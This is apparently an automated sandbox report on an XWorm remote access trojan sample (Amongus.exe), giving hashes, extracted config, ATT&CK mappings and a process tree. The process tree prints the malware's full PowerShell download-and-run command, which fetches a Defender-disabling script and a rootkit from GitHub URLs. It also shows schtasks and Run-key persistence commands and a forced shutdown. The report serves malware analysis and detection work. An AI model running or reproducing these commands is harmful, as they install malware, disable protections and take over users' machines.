xworm | 98336c4a295bdf723f9972a7de8b439fdfc2b067fce7e219b48d11e9b803ca67

Reason

Machine shutdown

General

Target

Amongus.exe
Size

55KB
MD5

5a56065a3cb76c24738719ff09686ea6
SHA1

269254a2a77e708480d05b355348a6756cf3130e
SHA256

98336c4a295bdf723f9972a7de8b439fdfc2b067fce7e219b48d11e9b803ca67
SHA512

e3413dc25bd29e8e0553db27528dc2c3f3ac67bdfcd3c93e608ed8b92a5b1ddd3e16dcb0517b0becc2ed95a853b7e12dc15e92d2e0c800b3c2d581c73c4fe8ad
SSDEEP

768:vIU44Oj5X88UOzTx4tfLFFO7mWbIwhTzkKL/t/X6snGRohJOcCouejK:vHCZNOpFO79bIw9IK5/rbO+uh

Score

10^/10

xworm execution persistence rat trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://github.com/charlie-60/R/raw/refs/heads/main/MasonRootkit.exe

exe.dropper

https://raw.githubusercontent.com/ninhpn1337/Disable-Windows-Defender/main/source.bat

Extracted

Family

xworm

Attributes

Install_directory
%port%
pastebin_url
https://pastebin.com/raw/GMv8QPCE

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral1/memory/2392-1-0x00000000011E0000-0x00000000011F4000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	2744	powershell.exe
6	2744	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2744	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Microsoft\Windows\CurrentVersion\Run\Amongus = "C:\\Users\\Admin\\AppData\\Roaming\\Amongus.exe"	Amongus.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 5 IoCs

Web Service

T1102

flow	ioc
9	pastebin.com
12	raw.githubusercontent.com
13	raw.githubusercontent.com
16	raw.githubusercontent.com
8	pastebin.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2892	schtasks.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2744	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	2392	Amongus.exe
Token: SeDebugPrivilege	2744	powershell.exe
Token: SeShutdownPrivilege	2788	shutdown.exe
Token: SeRemoteShutdownPrivilege	2788	shutdown.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 2392 wrote to memory of 2744	2392	Amongus.exe	30
PID 2392 wrote to memory of 2744	2392	Amongus.exe	30
PID 2392 wrote to memory of 2744	2392	Amongus.exe	30
PID 2392 wrote to memory of 2892	2392	Amongus.exe	32
PID 2392 wrote to memory of 2892	2392	Amongus.exe	32
PID 2392 wrote to memory of 2892	2392	Amongus.exe	32
PID 2392 wrote to memory of 2788	2392	Amongus.exe	35
PID 2392 wrote to memory of 2788	2392	Amongus.exe	35
PID 2392 wrote to memory of 2788	2392	Amongus.exe	35

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\Amongus.exe
"C:\Users\Admin\AppData\Local\Temp\Amongus.exe"
1⤵
- Adds Run key to start application
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2392
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "$settings = '{\"WD\": false, \"adminrun\": false}' | ConvertFrom-Json; $randomString = \"2PewmOBXXq\"; if ($settings.WD) { $settings.adminrun = $true; (New-Object System.Net.WebClient).DownloadFile(\"https://raw.githubusercontent.com/ninhpn1337/Disable-Windows-Defender/main/source.bat\", $env:TEMP + '\' + $randomString + '.bat'); Start-Process -FilePath ($env:TEMP + '\' + $randomString + '.bat') -WindowStyle Hidden -Wait -Verb RunAs; }; if ($settings.adminrun) { $url = \"https://github.com/charlie-60/R/raw/refs/heads/main/MasonRootkit.exe\"; $outputPath = $env:TEMP + '\' + 'MasonRootkit.exe'; (New-Object System.Net.WebClient).DownloadFile($url, $outputPath); Start-Process $outputPath -Verb RunAs; } else { $url = \"https://github.com/charlie-60/R/raw/refs/heads/main/MasonRootkit.exe\"; $outputPath = $env:TEMP + '\' + 'MasonRootkit.exe'; (New-Object System.Net.WebClient).DownloadFile($url, $outputPath); Start-Process $outputPath; }"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2744
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /f /sc minute /mo 1 /tn "Amongus" /tr "C:\Users\Admin\AppData\Roaming\Amongus.exe"
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2892
- C:\Windows\system32\shutdown.exe
  shutdown.exe /f /s /t 0
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2788

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x0
1⤵
PID:2140

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x1
1⤵
PID:1852

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015

Filesize
71KB

MD5
83142242e97b8953c386f988aa694e4a

SHA1
833ed12fc15b356136dcdd27c61a50f59c5c7d50

SHA256
d72761e1a334a754ce8250e3af7ea4bf25301040929fd88cf9e50b4a9197d755

SHA512
bb6da177bd16d163f377d9b4c63f6d535804137887684c113cc2f643ceab4f34338c06b5a29213c23d375e95d22ef417eac928822dfb3688ce9e2de9d5242d10

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar89D0.tmp

Filesize
183KB

MD5
109cab5505f5e065b63d01361467a83b

SHA1
4ed78955b9272a9ed689b51bf2bf4a86a25e53fc

SHA256
ea6b7f51e85835c09259d9475a7d246c3e764ad67c449673f9dc97172c351673

SHA512
753a6da5d6889dd52f40208e37f2b8c185805ef81148682b269fff5aa84a46d710fe0ebfe05bce625da2e801e1c26745998a41266fa36bf47bc088a224d730cc

Download Submit
memory/2392-0-0x000007FEF55D3000-0x000007FEF55D4000-memory.dmp

Filesize
4KB

Download
memory/2392-1-0x00000000011E0000-0x00000000011F4000-memory.dmp

Filesize
80KB

Download
memory/2392-11-0x000007FEF55D3000-0x000007FEF55D4000-memory.dmp

Filesize
4KB

Download
memory/2392-69-0x0000000000C20000-0x0000000000CA0000-memory.dmp

Filesize
512KB

Download
memory/2744-6-0x0000000002A20000-0x0000000002AA0000-memory.dmp

Filesize
512KB

Download
memory/2744-7-0x000000001B5A0000-0x000000001B882000-memory.dmp

Filesize
2.9MB

Download
memory/2744-8-0x0000000001E10000-0x0000000001E18000-memory.dmp

Filesize
32KB

Download
memory/2744-9-0x0000000002A20000-0x0000000002AA0000-memory.dmp

Filesize
512KB

Download

Analysis

Sharing

Errors

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads